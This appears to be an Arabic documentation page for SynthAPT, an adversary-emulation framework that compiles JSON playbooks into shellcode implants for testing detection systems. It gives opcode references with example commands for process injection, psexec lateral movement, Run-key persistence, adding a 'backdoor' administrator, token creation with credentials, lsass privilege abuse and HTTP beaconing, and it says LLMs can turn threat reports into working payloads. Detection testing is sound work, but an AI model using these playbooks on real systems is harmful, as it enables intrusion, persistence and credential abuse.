SynthAPT

نظرة عامة

SynthAPT هو إطار عمل لمحاكاة الخصوم يعتمد على السيناريوهات (playbooks) لتكرار مسارات الهجوم المعقدة. وهو مصمم للتحقق من صحة أنظمة الكشف المتقدمة وعوامل التحقيق القائمة على الذكاء الاصطناعي. الفكرة الأساسية هي أن سلوك البرامج الضارة يمكن التعبير عنه بصيغة JSON وتجميعه إلى برامج ضارة وظيفية، مما يتيح تطوير سيناريوهات واقعية بسرعة باستخدام نماذج اللغة الكبيرة (LLMs).

الزرع الأساسي (implant) هو حمولة من شيلكود (shellcode) يقودها مفسر سيناريو (playbook interpreter). يحدد السيناريو مسار الهجوم بالكامل مسبقًا، ويتبعه الزرع، متنقلًا في البيئة عبر حقن العمليات (process injection)، والحركة الجانبية (lateral movement)، وما إلى ذلك. كل زرع ينشأ كخيط مستقل (thread) مع مجموعة تعليمات خاصة به، لذلك يتم التعبير عن الهجمات متعددة المراحل (مثل الوصول الأولي → رفع الامتيازات → الحركة الجانبية → تسريب البيانات) كرسم بياني من الأزرع المتعاونة، وكلها محددة مسبقًا في السيناريو. هذا يوفر ثلاث مزايا رئيسية:

يمكن للحمولات محاكاة البرامج الضارة الحقيقية دون الحاجة إلى بنية تحتية للقيادة والتحكم (C2) - حيث يتم تضمين مسار الهجوم بالكامل في الحمولة ويمكن محاكاة تفاعلات C2.
الحمولات قابلة للتكرار - فهي تنفذ مسار الهجوم بالكامل بنفس الطريقة في كل مرة، مما يجعلها مناسبة لاختبارات الانحدار (regression testing) لأنظمة الكشف.
يمكن لنماذج اللغة الكبيرة (LLMs) ترجمة تقارير استخبارات التهديدات والمدونات مباشرة إلى حمولات عاملة، دون الحاجة إلى خبرة هجومية أو بناء برامج ضارة من الصفر.

Field	Type
task	u8	اختياري
magic	u32 hex string or number	اختياري
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

Field	Type
command	string	مطلوب
{ "op": "run_command", "command": "whoami /all" }

الحقل	النوع
path	string	مطلوب
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }

حقل	نوع
var	u16	مطلوب
{ "op": "check_error", "var": 0 }

الحقل	النوع
var	u16	مطلوب
data	bytes	اختياري (فارغ إذا تم حذفه)

Field	Type
image	string	مطلوب
task_id	u8	مطلوب
pipe_name	string	اختياري (أنبوب مسمى لالتقاط المخرجات، بدون البادئة `\\.\pipe\`)
search	string	اختياري (اسم العملية/سطر الأوامر لتزوير PPID منه)
no_kill	bool	اختياري (الافتراضي: false — يتم إنهاء العملية بعد الحقن)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

الحقل	النوع
port	u16	مطلوب
magic_base	u32 سلسلة سداسية عشرية أو رقم	اختياري
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

الحقل	النوع
target	string	مطلوب (اسم المضيف أو عنوان IP)
service_name	string	مطلوب
display_name	string	مطلوب
binary_path	string	مطلوب (المسار على المضيف البعيد)
service_bin	bytes	مطلوب (البيانات الثنائية للكتابة)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }

الحقل	النوع
bof_data	bytes	مطلوب
entry	string	اختياري (الافتراضي: `"go"`)
inputs	bytes	اختياري (وسائط BOF، فارغ إذا تم حذفه)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

الحقل	النوع
dn	string	مطلوب
attr	string	مطلوب
value	string	مطلوب
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }

Field	Type
targets	string	required (عناوين IP مفصولة بفواصل، CIDRs، نطاقات، أو أسماء مضيفين؛ اسم مستعار: `host`)
ports	string	required (منافذ أو نطاقات مفصولة بفواصل، على سبيل المثال `"22,80,443,8000-8100"`)
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }

الحقل	النوع
group	string	مطلوب
username	string	مطلوب
server	string	اختياري (فارغ = الجهاز المحلي)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }

الحقل	النوع
key	string	مطلوب (المسار الكامل، مثل: `"HKLM\\SOFTWARE\\MyApp"`)
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }

الحقل	النوع
مفتاح	نص	مطلوب
اسم القيمة	نص	مطلوب (سلسلة فارغة للقيمة الافتراضية)
القيمة	بايتات	مطلوب
نوع القيمة	نص	اختياري (افتراضي: `"REG_SZ"`؛ أيضًا: `REG_DWORD`, `REG_BINARY`, `REG_EXPAND_SZ`, `REG_MULTI_SZ`, `REG_QWORD`)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }

Field	Type
privilege	string	مطلوب (alias: `priv_name`)
search	string	اختياري (فارغ = العملية الحالية)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }

الحقل	النوع
username	string	مطلوب
password	string	مطلوب
domain	string	اختياري (فارغ = مجموعة عمل أو تنسيق UPN)
logon_type	u8	اختياري (الافتراضي: `9`; `2` = تفاعلي, `3` = شبكة)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }

Field	Type
hook_id	i32	اختياري (معرف الخطاف الذي تم إرجاعه بواسطة `frida_hook`)
name	string	اختياري (اسم الخطاف المُعيَّن بحقل `name` في `frida_hook`)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }

الحقل	النوع
host	string	اختياري
port	u16	اختياري (الافتراضي: `80`)
interval	u32	اختياري (فاصل الاستقصاء بالمللي ثانية؛ الافتراضي: `5000`)
secure	bool	اختياري (الافتراضي: `false`)
agent_id	string	اختياري (معرف يُرسل في طلبات beacon)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }

Field	Type
pid	u32 أو `"all"`	اختياري (احذف = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }

الحقل	النوع
task_id	u8	مطلوب
export_name	string	اختياري (افتراضي: `"Run"`)
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }

الحقل	النوع
service_name	string	مطلوب (اسم مستعار: `name`)
{ "op": "register_service", "service_name": "MySvc" }

الحقل	النوع
pid	u32 أو `"all"`	اختياري (احذف = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }

SynthAPT

الأكثر شعبية

SynthAPT

نظرة عامة

الميزات

البناء من المصدر

الاستخدام

مرجع أكواد التعليمات

get_shellcode (0x02)

run_command (0x04)

read_file (0x06)

check_error (0x08)

set_var (0x0A)

goto (0x0C)

list_procs (0x0E)

wmi_exec (0x10)

sacrificial (0x12)

shellcode_server (0x14)

psexec (0x16)

run_bof (0x18)

set_ad_attr_str (0x1A)

portscan (0x1C)

add_user_to_localgroup (0x1E)

get_user_sid (0x20)

remove_user_from_group (0x22)

reg_create_key (0x24)

reg_set_value (0x26)

make_token (0x28)

enable_privilege (0x2A)

list_thread_privs (0x2C)

revert_to_self (0x2E)

delete_service (0x30)

generate_dll (0x32)

shell_extract (0x34)

load_library (0x36)

hollow (0x38)

register_service (0x3A)

hollow_apc (0x3C)

frida_unhook (0x40)

http_beacon (0x43)

dll_list (0x45)

malfind (0x47)

الكشف

الإسناد